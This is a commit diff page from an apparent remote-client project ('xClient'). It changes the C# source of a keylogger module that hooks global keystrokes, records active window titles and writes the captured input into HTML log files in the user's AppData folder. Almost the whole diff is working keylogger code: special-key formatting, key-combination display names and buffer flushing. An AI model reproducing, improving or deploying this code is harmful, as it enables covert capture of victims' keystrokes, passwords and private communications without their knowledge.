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Code Issues Projects Releases Wiki Activity

Better handling of special keys

This commit is contained in:
MaxXor 2015-05-23 13:30:57 +02:00
parent 80ffc582de
commit 45070631a9
1 changed files with 39 additions and 37 deletions
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76
Client/Core/Keylogger/Logger.cs
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@ -16,7 +16,7 @@ namespace xClient.Core.Keylogger
private bool _disposed = false;
private StringBuilder _logFileBuffer;
private string _hWndLastTitle;
private string _lastWindowTitle;
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
"\\Logs\\";
@ -33,7 +33,7 @@ namespace xClient.Core.Keylogger
public Logger(double flushInterval)
{
Instance = this;
_hWndLastTitle = string.Empty;
_lastWindowTitle = string.Empty;
WriteFile();
@ -54,16 +54,6 @@ namespace xClient.Core.Keylogger
Application.Run();
}
~Logger()
{
// If Dispose() is called, we won't reach here and performance will not be
// hit. This is here if Dispose() did not get called when it should have.
// It is a safe-guard because we want to make sure we unsubscribe from these
// things or the client may not be able to get keystrokes/mouse clicks to any
// other application (including Windows).
Dispose(false);
}
public void Dispose()
{
Dispose(true);
@ -131,14 +121,14 @@ namespace xClient.Core.Keylogger
private void OnKeyDown(object sender, KeyEventArgs e) //Called first
{
string _hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (!string.IsNullOrEmpty(_hWndTitle))
string activeWindowTitle = GetActiveWindowTitle(); //Get active thread window title
if (!string.IsNullOrEmpty(activeWindowTitle))
{
// Only write the title to the log file if the names are different.
if (_hWndTitle != _hWndLastTitle)
if (activeWindowTitle != _lastWindowTitle)
{
_hWndLastTitle = _hWndTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<i>" + _hWndTitle + "</i>]</p><br>");
_lastWindowTitle = activeWindowTitle;
_logFileBuffer.Append(@"<p class=""h""><br><br>[<i>" + activeWindowTitle + "</i>]</p><br>");
}
}
// If modifier keys are still down, the key code provided will
@ -157,23 +147,26 @@ namespace xClient.Core.Keylogger
}
else if (e.KeyCode >= Keys.Left && e.KeyCode <= Keys.Down)
{
_logFileBuffer.Append(@"<p class=""h"">(" + e.KeyCode.ToString() + ")</p>");
_logFileBuffer.Append(@"<p class=""h"">[" + e.KeyCode.ToString() + "]</p>");
}
else
{
switch (e.KeyCode)
{
case Keys.Enter:
_logFileBuffer.Append(@"<p class=""h"">(ENTER)</p><br>"); //this could be where the KeyloggerKeys enum would be handy
_logFileBuffer.Append(@"<p class=""h"">[Enter]</p><br>"); //this could be where the KeyloggerKeys enum would be handy
break;
case Keys.Space:
_logFileBuffer.Append("&nbsp;");
break;
case Keys.Tab:
_logFileBuffer.Append(@"<p class=""h"">[Tab]</p>");
break;
case Keys.Back:
_logFileBuffer.Append(@"<p class=""h"">(BACK)</p>");
_logFileBuffer.Append(@"<p class=""h"">[Back]</p>");
break;
case Keys.Delete:
_logFileBuffer.Append(@"<p class=""h"">(DEL)</p>");
_logFileBuffer.Append(@"<p class=""h"">[Delete]</p>");
break;
default:
{
@ -235,6 +228,17 @@ namespace xClient.Core.Keylogger
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
}
private string GetDisplayName(string key)
{
if (key.Contains("ControlKey"))
return "Control";
else if (key.Contains("Menu"))
return "Alt";
else if (key.Contains("Win"))
return "Win";
return key;
}
private string HighlightSpecialKeys(Keys[] keys)
{
if (keys.Length < 1) return string.Empty;
@ -242,7 +246,7 @@ namespace xClient.Core.Keylogger
string[] names = new string[keys.Length];
for (int i = 0; i < keys.Length; i++)
{
names[i] = keys[i].ToString();
names[i] = GetDisplayName(keys[i].ToString());
}
if (_pressedKeys.Contains(Keys.LControlKey)
@ -262,11 +266,11 @@ namespace xClient.Core.Keylogger
{
if (validSpecialKeys == 0)
{
specialKeys.AppendFormat(@"<p class=""h"">([{0}] ", names[i]);
specialKeys.AppendFormat(@"<p class=""h"">[{0}", names[i]);
}
else
{
specialKeys.AppendFormat("+ [{0}]", names[i]);
specialKeys.AppendFormat(" + {0}", names[i]);
}
validSpecialKeys++;
@ -277,26 +281,24 @@ namespace xClient.Core.Keylogger
// font tag and some trailing white-space.
if (validSpecialKeys > 0)
{
specialKeys.Append(")</p> ");
specialKeys.Append("]</p> ");
}
return specialKeys.ToString();
}
else
StringBuilder normalKeys = new StringBuilder();
for (int i = 0; i < names.Length; i++)
{
StringBuilder normalKeys = new StringBuilder();
for (int i = 0; i < names.Length; i++)
_pressedKeys.Remove(keys[i]);
if (!string.IsNullOrEmpty(names[i]))
{
_pressedKeys.Remove(keys[i]);
if (!string.IsNullOrEmpty(names[i]))
{
normalKeys.Append(names[i]);
}
normalKeys.Append(names[i]);
}
return normalKeys.ToString();
}
return normalKeys.ToString();
}
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
@ -338,7 +340,7 @@ namespace xClient.Core.Keylogger
if (_logFileBuffer.Length > 0)
sw.Write(_logFileBuffer);
_hWndLastTitle = string.Empty;
_lastWindowTitle = string.Empty;
}
else
sw.Write(_logFileBuffer);